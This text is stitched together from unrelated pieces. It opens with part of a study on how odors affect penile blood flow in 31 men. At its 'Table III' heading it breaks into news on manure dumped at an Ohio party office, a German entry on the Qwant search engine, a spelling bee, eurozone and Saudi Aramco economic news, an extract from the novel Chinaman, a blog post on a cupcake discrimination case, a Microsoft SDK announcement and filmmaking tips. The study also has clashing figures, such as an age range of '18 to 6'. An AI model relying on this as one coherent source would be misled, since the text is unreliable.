Pheromones may be not only sexual attractants, but also territorial markers, e.g., a dog establishes dominance in his yard by urinating there (25). In a study of a men’s college dormitory room, a postulated male pheromone was placed beneath specific toilet stalls which were then monitored (24). Men tended to avoid the stalls where the postulated male pheromone was placed, which seems suggestive that the scent had the effect of a territorial marker.
These experiments, of course, do not prove human pheromones exist. Yet perfume companies market their interpretations of pheromones, often containing musk, a pheromone of the male musk deer. Marilyn Miglan named a perfume “Pheromone,” however its scent is a floral mixture (26).
Various cultures favor various odors. In the U.S., women cut their axillary hair because this bodily smell is considered unclean. But in Eastern Europe, the smell is considered sexually provocative, and the axillary follicles are left virginal. Alex Comfort calls it the woman’s bouquet (27).
Medical evidence links smell and sexual response. In one study, over 17 percent of patients with olfactory deficits had developed a sexual dysfunction (28).
A relationship undoubtedly exists between the olfactory and sexual functions; its mechanism, however, remains to be discovered. In the present experiment, we investigate the impact of ambient olfactory stimuli upon sexual response in the human male.
Method
Participants
Subjects literate in English were recruited through solicitation on classic rock radio broadcasts. Thirty-one males, aged 18 to 6 years volunteered.
Measures
All subjects underwent olfactory testing with the University of Pennsylvania Smell Identification Test (UPSIT), a 40 item, forced choice, scratch and sniff odor identification test (29) and the Chicago Smell Test, a three odorant detection and identification test (30-32). They were queried as to sexual preference, sexual practices, and odor hedonics.
During the experiment, subjects’ sexual arousal was determined using the brachial penile index (33) with the Floscope Ultra Pneumoplethymosgraph following manufacturer’s protocol (34). With this instrument, both penile and brachial blood pressures were measured and their ratio calculated, hence controlling for systemic effects. This allowed specific noninvasive assessment of penile blood flow.
Procedure
Twenty-four different odorants were chosen for this study based on their generally positive hedonics in previous surveys. In addition, 6 combinations of 2 of the most well-liked of these were chosen. The effects of the 30 odors on penile blood flow were assessed by comparing a subject’s brachial penile index while wearing an odorized mask to his average index while wearing an unodorized blank mask. This was done for each subject for each odor.
Subjects underwent assessment as follows: after being attached to the plethysmograph, three minutes were allowed for acclimation, then a blank control mask was applied for one minute and brachial penile index recorded. The blank mask was then removed and an odorized mask applied. Thus 30 odorized masks were randomly applied in double-blind fashion, with a three minute hiatus between masks to prevent habituation to the odors. Each mask was worn for one minute and brachial penile index recorded. Finally, an additional blank mask was applied for one minute and brachial penile index again recorded.
Statistical Analysis
Statistical significance is defined by a p value <=0.05. Data analysis includes these nonparametric tests: Signed Rank test, Wilcoxan Rank Sum test, and Spearman's Rank correlation coefficient (35-36).
Results
Results
All subjects lived in Chicago or suburbs. Most (77%) were single and their mean age was 30 years, median 29 years with a range of 18 to 64 years. Most (87%) were heterosexual, had a regular sex partner (74%), had intercourse four times in the 30-day period just prior to the experiment and considered their sex lives fairly satisfactory (Table 1).
To assess their physiologic erectile function, subjects were asked to rate the frequency of their morning erections on a scale of 1 (absent) to 5 (every morning). Their median response was 3 (Table 1). Most (84%) stated that they had never experienced an odor-induced erection (Table 1).
Subjects’ olfactory characteristics are shown on Table II. UPSIT scores were graded based on published norms for age and sex. Given these, 52% of subjects scores were normal and 48% were microsmic, i.e., hyposmic (deficient in odor sensitivity) or anosmic (without a sense of smell). Over half the subjects (55%) had experienced odor-evoked recall, a phenomenon wherein an aroma triggers memories and associated feelings (37). More than half (61%) were nonsmokers. Most (71%) used cologne, and of those who had a regular sex partner, 83% of the partners used scent.
Effects of Odors on Penile Blood Flow
Each of the 30 odors produced an increase in penile blood flow (Table III). The combined odor of lavender and pumpkin pie had the greatest effect, increasing median penile-blood flow by 40%. Second in effectiveness was the combination of black licorice and doughnut, which increased the median penile-blood flow 31.5%. The combined odors of pumpkin pie and doughnut was third, with a 20% increase. Least stimulating was cranberry, which increased penile blood flow by 2%. None of the odors reduced penile-blood flow.
Men with below normal olfaction did not differ significantly from those with normal olfaction, nor did smokers differ significantly from nonsmokers. However, among subjects with normal olfactory ability, several correlations are significant: higher brachial penile indices correlate with greater age and with greater responses to the odor of vanilla (p=0.05); self-assessed level of sexual satisfaction correlates with greater responses to the odor of strawberry (p=0.05); and frequency of sexual intercourse correlates with greater responses to the odors of lavender (p=0.03), oriental spice (p=0.02) and cola (p=0.03).
Discussion
We hypothesized that hedonically positive odors, since they have other behavioral effects (38-40), would increase penile blood flow. Our data support this hypothesis.
A multitude of mechanisms exist by which this might occur. The odors could induce a Pavlovian conditioned response reminding subjects of their sexual partners or their favorite foods (41). Among persons raised in the United States, odors of baked goods are most apt to induce a state called olfactory-evoked recall (37). Possibly, odors in the current study evoked a nostalgic recall with an associated positive mood state that affected penile blood flow (38-40). Or the odors may simply be relaxing. In others studies, lavender, which increased alpha waves posteriorly, an effect associated with a relaxed state (42-43). In a condition of reduced anxiety, inhibitions may be removed and thus penile blood flow increased.
It has been shown that the odor of jasmine increases beta waves frontally, which is associated with alertness (42). Possibly odors may awaken the reticular activating system, making subjects more alert to any sexual cues, thus increasing penile blood flow.
Another possibility, odors may act neurophysiologically. MacLean (5) demonstrated that stimulation of the septal nucleus in the squirrel monkey induces erection. A direct pathway connects the olfactory bulb to the septal nucleus (44), hence, it seems anatomically correct that odor could impact upon the septal nucleus to induce erection with increased penile blood flow. This seems a strong possibility in our study, since the one subject who slept through the entire experiment showed the greatest increase in penile-blood flow in response to the combined odors of lavender and pumpkin pie.
We suspect a direct physiologic mechanism, yet we cannot rule out a possible impact of odors upon the dreams of the subject who slept through the experiment, perhaps with his dream content influencing penile blood flow.
Possibly odors can increase aggression, through septal nucleus stimulation. Increased penile-blood flow may be a measure of a “neighborhood effect” of induced aggression rather than direct sexual excitation (45).
Nor can we rule out a generalized parasympathetic effect, increasing penile blood flow rather than specific sexual excitation (46). As much as possible, we controlled for this by measuring brachial blood pressure coincident with penile blood flow.
The specific odors that affected penile blood flow in our experiment were primarily food odors. More directly, Rediwhip (c) has been used perigenitally, again indicating a strong relationship between sex, food and smell. Does this support the axiom that the way to a man’s heart (and sexual affection) is through his stomach? An evolutionary hypothesis explains why this may be so. After a successful hunt, humans in primitive tribes congregated around the food (47). There, perhaps they had most opportuni-ties to procreate. An increase in penile-blood flow in response to food odors, then would be an advantage. A recent finding about the Bonobos-that when they found a plentiful food source they stopped to have sex before they ate, perhaps to reduce quarreling over food-provides another explanation for the association between food and sex (48).
Humans can detect approximately 10,000 odors (8). Studies indicate that many of them affect behavior, i.e., certain floral smells can enhance learning (49) and buying behavior (50); green apple odor may ease claustrophobic feelings (51), barbecue smoke may induce a flight response (51) and inhaling certain food odors may help effect weight loss (52). Odors other than those examined in this study could possibly have a greater effect on penile-blood flow.
Olfactory sensation can influence the sexual reflex arc; as mentioned, human pheromones, which trigger sexual response through direct olfactory-limbic interconnections, are speculative (53-55). Penile erection, the measure of male sexual arousal (56) is a manifestation of outflow from the septal nuclei within the limbic system, and end organ for olfactory fibers (57). As a function of of the autonomic nervous system (58), penile engorgement is controlled by arterial flow through the pudendal artery and the smaller arteries to the penis. The first physical sign of sexual excitation is a change in penile-blood flow. Blood flow to the penis increases with sexual excitement and decreases with sexual inhibition (59).
We certainly cannot consider the odors in our experiment to be human pheromones, therefore we believe they acted through other pathways than do pheromones, which are thought to cause an endocrinologic effect upon the brain. A postulated pheromone, androstenol, a high-density steroid, is said to act very slowly on the endocrine system (60). Odors that affect penile-blood flow act immediately on the brain or have an immediate psychological effect, unlike the postulated pheromones.
These preliminary data suggest potential uses of odors as a treatment modality. Impotence, in 10-15% of cases, is organic, the most common cause being vaculogenic, usually due to diabetes (57-61). Current investigations should determine whether noninvasive treatment with odors can enhance penile blood flow in diabetes.
Although we found no odor to reduce penile blood flow, we hypothesized that such an odor might be found, possibly a trigeminal stimulant with a very negatively hedonic odor. Such an odor might be utilized to decrease penile blood flow in sex offenders, such as pedophiles, as part of their deconditioning or aversion training.
While we studied only male subjects, undoubtedly analogous odors might be found to affect women. Parallel studies of vaginal blood flow are being undertaken.
Refernces
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Table I
Sexual Characteristics of 31 Male Subjects
No. % Marital Status Single 24 77.4 Married 5 16.1 Divorced 2 6.5 Heterosexual 27 87.1 Homosexual 4 12.9 Had a regular sex partner 23 74.2 Had more than one partner 2 6.5 30-Day sexual history: Erection Difficulties 0 0 No. of times of intercourse median-4 times range none 6 19.3 25 times 2 6.5 Level of Sexual satisfaction on scale of 1-5 median-level 3 range 1 (poorest) 2 6.5 5 (greatest) 7 22.6 Frequency of Morning Erections on a scale of 1-5 median-level 3 range 1 (absent) 1 3.2 5 (every morning) 2 6.5 Ever had odor-induced erection? No 26 83.9 Yes 5 16.1
Table II
Smell Characteristics
All Subjects ( n = 31 ) No. % UPSIT scores Normal 16 51.6 Microsmic, Anosmic 15 48.4 Experienced odor-evoked recall 17 54.8 Smoked No 19 61.3 Yes 12 38.7 1 – 2 pks/da 3 9.7 < 1 pk/da 9 29.0 Used cologne 22 71.0 Subjects with a regular partner ( n = 23 ) Partner used scent 19 2.6
Table III
First, someone firebombed a Republican Party headquarters in North Carolina, now, a massive load of manure was dumped in front of the Democratic Party headquarters in Warren County, Ohio.
Police are reportedly "heavily investigating" the incident that left the Warren County Democrats with truckloads of manure. According to Fox19, it is not a new stunt, as the Democratic headquarters was forced to deal with a similar gift in 2012.
A representative of the Warren County Democrats told Fox19 that it took three trucks to remove the manure. Police said the manure was left in front of the headquarters shortly after midnight on Saturday (29 October).
The office of the Warren County Sheriff said authorities have no leads for suspects, but revealed the incident was caught on security footage. The video has not been released to the public.
In a Facebook post, the Warren County Democratic Party wrote: "Let's GOTV [get out the vote] to show the haters that we bigger than they are. Please come out and volunteer to get our voters to the polls. #LoveTrumpsHate. We have cameras, so the perps will hopefully be responsible for their actions."
Party chair Bethe Goldenfield took to the Greater Cincinnati Politics Facebook Group page to complain about the incident. "What reasonable person thinks this is OK????" Goldenfield wrote. "I won't be responding to anyone who thinks this is acceptable behaviour. It is ILLEGAL!" She added: "Hopefully the perps will be held accountable for their actions."
Jeff Monroe, chairman of the Warren County Republican Party, said that the GOP had nothing to do with the stunt and had even offered to "help clean things up".
www.qwantjunior.com Beschreibung Suchmaschine Registrierung optional Sprachen 28 Eigentümer QWANT S.A.S.[1] Erschienen 2013 Jahreseinnahmen 5 Mio. Euro
Qwant ist eine Suchmaschine, welche vom gleichnamigen französischen Unternehmen entwickelt wurde und mit strengen Datenschutzbestimmungen wirbt.
Nach einer zweijährigen Entwicklungsphase wurde die erste beta-Version im Februar 2013 veröffentlicht; die erste stabile Version folgte im Juli desselben Jahres[2]. Die Ergebnisseite von Qwant ist in mehrere Spalten aufgeteilt. Neben der klassischen Internetsuche sind die Rubriken Live für Informationen von Nachrichtenseiten, sowie Social für Informationen aus Online-Netzwerken wie Facebook, Twitter und Tumblr und für Bilder, Musik und Videos optisch getrennt angezeigt. Zudem gibt es eine Rubrik für Werbung. Am oberen Bildrand sind Ergebnisse aus Video- und Bilddateien angeführt.[3]
Nach eigenen Angaben wurden in einem Zeitraum von weniger als 10 Monaten 507 Millionen Suchanfragen registriert. 65 Prozent des Verkehrs entfallen auf Frankreich. In einem Test der FAZ schnitt Qwant im Vergleich zu Google, Bing und DuckDuckGo etwa gleich gut ab, was die Qualität der Suchergebnisse angeht.[4]
Im Februar 2014 wurde die deutschsprachige Version in Berlin vorgestellt. Außerdem wurde eine Kooperation mit den Entwicklern von Firefox OS geschlossen, welche jedoch inzwischen eingestellt ist.[5] Ebenfalls wurde eine Kooperation mit TripAdvisor geschlossen.
Qwant hat zudem zwei weitere Varianten der Suchmaschine veröffentlicht. Qwant Lite ist eine reduzierte und schnellere Version der Suchmaschine, die sich insbesondere für Nutzer älterer Browser oder nicht ressourcenstarker Rechner eignet. Des Weiteren existiert unter dem Namen Qwant Junior ein Suchportal für Kinder und Heranwachsende, welches für diese Gruppe ungeeignete Suchbegriffe und -ergebnisse ignoriert, allerdings zum Start nur mit Startseiten in englischer bzw. französischer Sprache aufwarten konnte.
Zu ihrem 5. Geburtstag (2018) bekam die Suchmaschine ein neues Design und wurde zudem für Smartphones optimiert.[6]
Altes Logo von Qwant bis zum Relaunch im Juli 2018
Mit Bezug auf den NSA-Skandal wirbt die Suchmaschine mit stärkeren Datenschutzbestimmungen, als dies bei Konkurrenzunternehmen der Fall sei. So würde Qwant keinerlei persönliche Daten sammeln. Qwant setzt lediglich einen Cookie für die jeweilige Sitzung, eine permanente Browserdatei wird nicht angelegt. Nach dem Verlassen der Seite wird der Cookie sofort gelöscht. Die Informationen zum Nutzerverhalten werden nicht dauerhaft gespeichert.[7] Im Unterschied zu anderen Suchmaschinen wie etwa Google oder Yahoo liefert Qwant daher keine personalisierten Suchergebnisse. Für alle Nutzer sind die Suchergebnisse gleich.[8]
Falls personenbezogene Suchergebnisse vom Benutzer gewünscht werden, kann ein Konto angelegt werden. Die erhobenen persönlichen Informationen werden auf Servern in Datenzentren in der Europäischen Union verarbeitet.
Auch IP-Adressen werden nicht auf Vorrat aufgezeichnet.
Nach eigenen Angaben stammen die Haupteinnahmen von Werbeanzeigen (Zitat Qwant: „...mit dem Werbenetzwerk von Microsoft Bing...“), die auf Qwants Ergebnisseite angezeigt werden.[9]
Qwant S.A.S. wurde im Jahr 2011 von den Franzosen Jean-Manuel Rozan und Éric Leandri gegründet[1] und die Suchmaschine nach einer zweijährigen Entwicklungsphase im Januar 2013 auf den Markt gebracht. Nach Angaben der Entwickler wurden bisher rund 3,5 Millionen Euro an Investitionskapital eingesammelt. Der Umsatz liegt derzeit bei rund 5 Mio. Euro im Jahr, die Mitarbeiterzahl liegt bei 25.[10][11]
Im Juni 2014 beteiligte sich die Axel Springer SE mit 20 % an Qwant.[12]
Technische Infrastruktur [ Bearbeiten | Quelltext bearbeiten ]
The eighth-grader from Hunterdon County outlasted 42 competitors from four counties, through 17 rounds, to win the inaugural Discover Lehigh Valley Regional Spelling Bee, at Northampton Community College.
The Express-Times and lehighvalleylive.com had sponsored the regional final in previous years.
Danielle will go on to represent Lehigh, Northampton, Warren and Hunterdon counties at the national bee scheduled May 22-27 in National Harbor, Maryland.
"I have to owe it to my mom because she is my mentor and she has stuck with me the whole time," said Danielle, who was joined Tuesday night by her family from Whitehouse Station in Readington Township: mom Matilda Serrao, dad Dominic Serrao and her 9-year-old brother, Christopher Serrao.
Also rooting for her in the audience was her gifted-and-talented teacher at Readington Middle School, Emily Bengels, whom Danielle refers to as her Auntie Em.
"She's a special one," Bengels said as Danielle held her trophy for photographs on the sunken stage of Lipkin Theatre at the college in Bethlehem Township, Pennsylvania.
Danielle had been runner-up at the 2014 regional bee while in sixth grade and placed fifth twice, as a fifth- and seventh-grader.
For four rounds Tuesday night, she shared the stage with five runners-up for 2016: Vaishnavi Joshi, of Springhouse Middle School in the Parkland School District; Samyutka Neeraj, of Easton Area Middle School 7-8; Gabriela Maria Paredes, of Blairstown Elementary School; Ali Rizwan, of Easton Area Middle School 5-6; and Erica Wang, of Joseph P. Liberati Intermediate School in the Southern Lehigh School District.
Meet all 43 spellers in the 2016 regional bee
But in the 17th round, Danielle's final competition fell in order: Vaishnavi to acquisitive; Samyutka to convalesce; Gabriela to battalion; Ali to inveterate; and Erica to lumen.
Danielle spelled one last word flawlessly to bring home the championship, at last: idiasm, an individual mannerism.
Africa's fifth-largest cat had nearly tripped up Danielle earlier, she allowed.
"When I had serval, I was confused for a minute," said Danielle, who said she's been studying three to four hours a week to get ready for the regional bee.
Tuesday night's bee will be broadcast on Service Electric TV2 at 8 p.m. Wednesday and 7 p.m. Friday.
Clear signs of trouble are emerging in the US, until now the last bastion of strength. The New York Institute of Supply Management said its ISM business index – a proxy for business demand – flashed a "screeching halt" in May, crashing to 49.9 from 61.2 in April, where anything below 50 denotes contraction. Unemployment is rising again after grim jobs data for April and May, indicating that the economy may have fallen below stall speed.
Central bank governors and finance ministers from the G7 bloc are to hold an emergency teleconference call on Tuesday to grapple with Europe's escalating crisis. There is mounting anger in North America and Asia over the failure of the Europeans to use their vast resources to contain the brushfire in Spain.
The world money data collected by Simon Ward at Henderson Global Investors show that real M1 for the G7 economies and leading E7 emerging powers peaked at 5.1pc in November and has since plunged to 1.6pc in April. The data explain why commodity prices are falling hard, with Brent crude down to a 16-month low of under $97 a barrel.
China's money data are falling at the fastest pace since records began. The gauge – six-month real M1 – gives advance warning of economic output half a year ahead. "Europe needs to start quantitative easing [QE] immediately and China must ease policy," said Mr Ward.
The Americans may act first. Goldman Sachs expects Federal Reserve chair Ben Bernanke to open the door for QE in testimony on Thursday.
Stock markets rallied in Madrid and Milan led by bank shares on rumours of an EU plan to recapitalise banks directly with funds from the EU bail-out machinery.
Olli Rehn, the EU economics chief, said use of the European Stability Mechanism to bail out lenders was a "serious possibility", adding that it was imperative to "break the link between banks and sovereigns".
However, there is no sign yet that Germany will be willing to drop its veto on such action, viewed by Berlin as the start of debt mutualisation. Chancellor Angela Merkel crushed talk of an instant "banking union" after meeting commission president Jose Barroso, saying their could be no quick fix. She called instead for EU banking supervision as a "mid-term goal".
Her spokesman said any options that "resemble eurobonds" are for the distant future. "It's up to national governments to decide whether they want to avail themselves of aid. That also applies to Spain," he said.
Taxes on the income of the world's biggest oil producer will tumble to 50% from their current level of 85%, Saudi Arabia said on Monday. The cut will be backdated to Jan. 1.
"This Royal Order on tax for oil and hydrocarbon producers operating in the Kingdom brings the Kingdom of Saudi Arabia in line with international benchmarks," said Saudi Arabia's Energy Minister Khalid Al-Falih in a statement. "It is very important to make it clear that the hydrocarbon resources of the Kingdom of Saudi Arabia remain sovereign and that any reduction in tax revenues arising from this Royal Order is replaced by stable dividend payments and other sources of revenue from hydrocarbon producers to the government."
The tax burden on Saudi Aramco will be a key component in determining the price of the business which is expected be valued at more than $2 trillion, making it the world's most valuable company when it comes to market, probably next year. The company is yet to say where it will list, though it is likely to be on a number of exchanges, possibly including the NYSE and Hong Kong, as well as the Saudi exchange.
Saudi Arabia has begun talks with possible cornerstone investors in the share sale. On Monday, China Petroleum Corp., known as Sinopec said it had been invited to take a stake in the operation and that talks were ongoing. "We talked with them on the plan," said Sinopec Chairman Wang Yupu at a Monday press briefing. "We will get into more detailed conversations with them."
The Saudi Aramco stake sale is part of a wider strategic plan to reduce the Kingdom's dependence on hydrocarbons. Cash from the sale will be used to establish a sovereign wealth fund that will invest outside of the oil business and in support of developing non-oil sources of income within Saudi Arabia.
Prior to the royal decree issued on Monday, Saudi Aramco had paid a 20% royalty on sales and 85% tax on its profits. The decision to cut the tax rate to 50% had been flagged earlier this year and is in line with the recommendation of Saudi Aramco's own management to the Saudi government.
The story of a retired alcoholic sportswriter and his obsession with a spin bowler called Pradeep Mathew, who he believes to be the greatest Sri Lankan cricketer ever, Chinaman: The Legend of Pradeep Mathew is a peek into Sri Lanka through cricket. The book, which Michael Ondaatje called a "crazy, ambidexterous delight" and Sidin Vadukut reviewed as "unputdownable" on ESPNcricinfo, is Shehan Karunatilaka's debut novel. The following is an extract from it.
© Random House
The Match That Would Never Exist
The first test of the 1987 New Zealand tour to Sri Lanka was known as the Kuruppu test, due to the aforementioned wicketkeeper batsman spending every minute of it on the field. The match was as dreary as Kuruppu's unbeaten 201, the first double century by a Sri Lankan, quite possibly the dullest innings ever. Stretched over 778 soggy minutes, it remains the slowest double century in history.
Kuruppu was dropped on 31, 70, 165, and 181 and scooped most of his runs from pushing into the covers with his bottom hand. Then the Kiwis got in on the action with Hadlee and Jeff Crowe adding two equally yawn-worthy centuries as the match lurched to a non-climax. Days later, a car bomb at the Colombo central bus station killed 113 and wounded 300. The LTTE had struck at the heart of Colombo for neither the first nor the last time, as New Zealand cricket would find out again five years later.
In 1992, the exploding motorbike that disposed of Navy chief Clancy Kobbekaduwa in front of the touring team's hotel, landed body parts quite literally at the feet of the horrified Kiwis. Gavin Larsen, another medium pacer who could bat a bit, almost trod on a severed hand. That tragedy splintered the New Zealand team, with five players and manager Wally Lees returning home and Sri Lanka trouncing a weakened Kiwi outfit.
1987's bomb had no such compromise. As soon as the death count of Colombo's then biggest tragedy hit the headlines, the New Zealanders had their bags packed. It was the coaxing of the Minister that convinced them to play a second test in Asgiriya.
Three reasons: the Minister was instrumental in the construction of this stadium in the hills and guaranteed a closed event with tight security; the Minister was also instrumental in NZ dairy exporter Anchor's near monopoly of the local milk powder market; the Minister had a smirk that was difficult to refuse.
The second test was closed to the public and only selected members of the press were invited. I then worked for the Sun, a short-lived tabloid that made up in free tickets what it lacked in print quality. I received an invitation to cover the match and I took my friend Ari along as my photographer.
We were body-searched and stripped of our alcohol. Our stand was populated by the press and the players' guests. The pavilion was filled with politicians and VIPs, the stands around the players' dressing rooms were empty, and the rest of the stadium was bare.
These were the days before multiple cricket channels. Even school games and club matches attracted half-full stadiums. To see a test match in a cricket-starved nation played before an empty stadium was farcical. As was the notion that the Liberation Tigers of Tamil Eelam would want to assassinate curly-haired medium pacers from Waipukarau.
The Asgiriya pitch was not expecting call-up for international duties that year and had been hosting U-13 matting encounters between Trinity and St Anthony's. The surface had only three days' preparation, a fact kept from the already nervous New Zealanders.
The press box had a lone fax machine, a few typewriters, and three dust-ridden overhead fans. There was a bar that served warm beer and a bird's eye view of the pitch. The commentary boxes upstairs sent rumbles across the ceiling. The usual suspects spread themselves across empty chairs and absorbed the action.
As members of the press, we were informed that this test was a goodwill game between the SLBCC and the NZCB and was yet to be officially recognized by the ICC. That due to the prevalent situation in the country, our match reports would have to be approved by the government censor.
'Cricket in Czechoslovakia must be like this,' said Ari as we took our assigned seats with a who's who of NZ sportswriting. Called this not for their fame or infamy, but because neither Ari nor I knew who was who.
New Zealand played an unchanged XI, while Sri Lanka replaced spinner Anurasiri and paceman Kurupparachchi with spinner Mathew and paceman Ramanayake. The first session proved a fascinating contest. Accurate bowling by the two Ratnayakes matched by cautious defence by Franklin and Jones. Pradeep Mathew came on just before lunch and made Jones jump in the way of a darter. He then dispensed of Horne with a googly.
The tourists went to lunch at 73-2 and we were informed that the ICC had officially bestowed test match status on this game. Invigorated by the buffet, the Kiwis came out guns blazing. Future rivals Crowe Jr and Rutherford, the wine and cheese man and the beer and pie man, hit our medium pacers out of the attack and within half an hour the score was 111 for 2. Captain Mendis tossed the ball to Pradeep Mathew, whose figures stood at 2-47.
What followed was the finest spell of spin bowling or any bowling, on this or any other planet, that I or anyone else could ever have seen.
Rutherford taunted the young chinaman bowler by imitating his ungainly action as he tossed the ball back to mid-on. Pradeep, unperturbed, returned to his mark with intent on his face. He adjusted his headband. He rolled up his sleeves as if to commit a long premeditated act of violence. He stumbled in to bowl three perfect googlies which Crowe read and avoided. On the fourth ball, Crowe attempted a cut, only to find the ball reversing onto his stumps.
With the new batsman, Mathew shifted to orthodox spin. The flight and drift were perfect, the ball curling just out of the batsman's reach. The trajectory was like a whip in mid-crack. By 1987, Mathew was not a stranger to Ari and me, though we were unaware he had weapons like the boru ball, responsible for Crowe Sr and Evan Gray's demises.
New Zealand 113 for 5. Rutherford knocked Gurusinha for a few boundaries at the other end, but made the fatal error of taking a single on the last ball. He faced Mathew who dished an unplayable finger spinner, followed by the undercutter, the ball backspinning and staying low. Rutherford kicked the pitch in annoyance and said something unprintable to the bowler.
Mathew bowled him a chinaman and a googly, both of which he saw out.
Then out of nowhere a medium-paced leaper rose off the pitch and smashed into Rutherford's hook nose. The batsman advanced down the pitch and had to be restrained.
We watched in stunned silence as carrom flicks and darters were mixed in with stock deliveries. The variation was mesmerizing, the control exquisite. Hadlee, Bracewell, and Sneddon scattered like hacked limbs as Mathew raced to his eighth wicket. Palitha Epasekera mentioned the words 'world record' and everyone in the press box became excited. Mathew's 8-50 was well ahead of the then Sri Lankan record, Ravi Ratnayake's 8-83 vs Pakistan.
We watched in stunned silence as carrom flicks and darters were mixed in with stock deliveries. The variation was mesmerizing, the control exquisite. Hadlee, Bracewell, and Sneddon scattered like hacked limbs as Mathew raced to his eighth wicket
'This is an upset,' said the Kiwi journalist with the beak.
'Just because you're upset doesn't make it an upset,' grinned Ari, snapping his flashing camera at ten-minute intervals.
The former Sri Lankan record holder himself stood at mid-on and shared a kind word with the bowler. The Sri Lankan field crowded the batsmen as Mathew sent down consecutive maidens. The shadows of the surrounding hills tickled the boundary line and the New Zealand team stood outside their dressing room in various degrees of agitation. Rutherford got a single. Smith fended off a looping chinaman. Then he bowled it.
It pitched wide off leg, like a misplaced carrom ball, cut onto the off stump, then darted back into the stumps. The double bounce ball, cricket's most magnificent creation. There was a loud boo from the New Zealand dressing room. Last man Chatfield swung at a top spinner, an edge flew by keeper Kuruppu, and they got a single.
Rutherford patted the wicket with the bat and shouted to the dressing room. 'This pitch is f***ed!' Mathew then bowled another double bounce ball, this time turning from off to leg to take the middle stump. Rutherford stormed off in disgust.
New Zealand slumped from 111 for 2 to 117 all out. Mathew's figures sat plainly on the scoreboard. 10-51. Two better than Jim Laker. There was jubilation in the press box as the players went in for tea. This wasn't like Kuruppu's slow double hundred. This was a real world record.
But all joy is fleeting. The New Zealanders refused to take the field after tea, calling the pitch 'a shocker'. Intense discussions followed on the field between New Zealand tour management and the umpires. The Minister himself came down from the VIP stand to a standing ovation. The two captains were called and without pomp or ceremony the match was abandoned, as was the New Zealand tour.
The Minister gave an impromptu press conference minus anyone who was actually on the field. 'The pitch has been deemed unsuitable…'
The three sessions of play were declared null and void. We were told that any paper publishing a match report would have its licence revoked. We looked on forlornly as history was erased. Cricket in Czechoslovakia indeed. It was the match that would never exist.
Asgiriya would have to wait six more years to host another test match. Today there is no record of the record, even in Wisden. There is no record of a second test match taking place. But everyone who was there knows what they saw. And for once, Ari and I agree. Whatever the reason for New Zealand's collapse, it had very little to do with the pitch.
To buy the book in India, click here. For the UK edition, here
For a chance to win the book, watch out for our caption contest of February 12, 2010
While the media is generally hit or miss in Indy (a local NBC journalist was named "Worst Reporter in the Nation" by GLAAD), the quality of the coverage around this clear-cut case of discrimination has been excellent. Last week I gave kudos to the local FOX affiliate's piece on a bakery that refused to make rainbow cupcakes for a college diversity group's National Coming Out Day celebration after the station ran a pro-gay segment, but that's been just the tip of the iceberg.
Indianapolis has really stepped forward on this one. The Mayor's office is seeking an investigation of the business for LGBT discrimination under the ordinance we passed and a radio station is holding their "First Annual Gay Cupcake Party" this Friday - with rainbow cupcakes available for everyone. Contributors Peter Monn & Alex Parades do a regular "Sexy List" for the station and this week they wanted me to encourage Projectors to finish this statement: "Gay cupcakes are sexy because..." They'll use the best answers on the air.
The software giant announced the new Applications Insights SDK for Java in time for the EclipseCon North America 2015 conference, taking place in San Francisco this week.
Application Insights, part of the Visual Studio Online set of services that Redmond announced in November 2013, gathers and generates reports on usage and performance data for online applications.
Developers and IT admins access the reports via a dashboard that's integrated into the Microsoft Azure Portal – which means you need an Azure subscription to use Application Insights, though a free trial is available.
Previously, the service only offered hooks for connecting to web applications and apps written using Microsoft's own ASP.Net framework. The new SDK allows developers to add the same kind of monitoring to Java applications.
They'll need to bring their own IDEs to do the actual coding in, though – such as Eclipse, IntelliJ, JDeveloper, or NetBeans. Microsoft's support for Java still doesn't extend to the Visual Studio IDE itself, although it does provide a number of tools for Java developers via Visual Studio Online.
Fortunatley, Redmond has thrown Java devs one more bone, too: support for Application Insights is baked into the new version of the Azure Tookit for Eclipse – a free product maintained by Microsoft Open Technologies – which will also be made available at EclipseCon over the next few days.
Java code also needs to be running on the Oracle JRE version 1.6 or later before it can be instrumented for Application Insights.
Once an application is properly wired up, however, admins can use the Application Insights dashboard to poll data on a variety of metrics, including the number of requests served, server response time, the average time to process requests, and overall application usage over time.
Developers can also add custom metrics and track events and exceptions by adding simple calls to the Application Insights SDK to their code. More details about how developers can integrate their code with the SDK are available here.
A free trial of Application Insights is available. After that, pricing depends on the level of Visual Studio Online service you need and the amount of Azure resources you consume each month.
1 – Depth Of Field
Many new filmmakers think that having a shallow Depth Of Field (DOF) is the single most important element in achieving a film look, hence the popularity of DSLR’s and other interchangeable lens cameras. For those of you that are new to this, DOF refers to the amount of the image that is in focus. Traditionally, feature films have made use of a shallow depth of field to selectively focus the attention on a person or object. Take a look at the photo below and note the areas in focus and those that are out of focus, drawing your eye in to the important part of the frame –
While I do agree that being able to achieve shallow DOF is necessary, it’s not by any means the most important variable on this list. In fact, since the early days of cinema there have been many films that used deep depth of field to their advantage as well. One of these films is arguably the best film of all time, Citizen Kane, which has some of the deepest DOF shots I have seen to date –
Ultimately DOF is a stylistic choice that you have to make based on the look you want to achieve with your film. With that said, the majority of feature films today utilize a shallow DOF on many shots, and if you want to get that look you’re going to need a camera and lens that can achieve it. For starters, DSLR’s or any other interchangeable lens cameras are typically quite good at achieving this look. The larger your sensor, the shallower your DOF will be, so a Canon 5D for instance would have a shallower DOF than a Lumix GH3 as the sensor on the 5D is larger. The other variable to consider is your lens choice. Longer lenses will always give you a shallower DOF than wider lenses. And fast lenses (for example lenses that are F2.8 or lower) will also help out with achieving this look. The more wide open you are on your lens, the shallower the DOF. So for instance if you are shooting on a 50mm lens at f1.4, your image will have a more selective focus than the same lens at f8. Be careful not to overdo this though, because one of the giveaways of DSLR footage today is footage that has too much of a shallow DOF. You want to find just the right balance.
2 – Frame Rate
This is an easy one – Shoot at 24 frames per second. Or at 24p on your camera. Since the earliest days of film, movies were shot and projected at 24 frames per second, and viewers have grown accustomed to this frame rate. Make sure that your camera is always set to this mode, unless you need to shoot at a higher frame rate to achieve slow motion. For example you may want to shoot at 60 frames a second so you could later slow it down to 24 frames a second while editing, and your footage will then play at 40% of the speed.
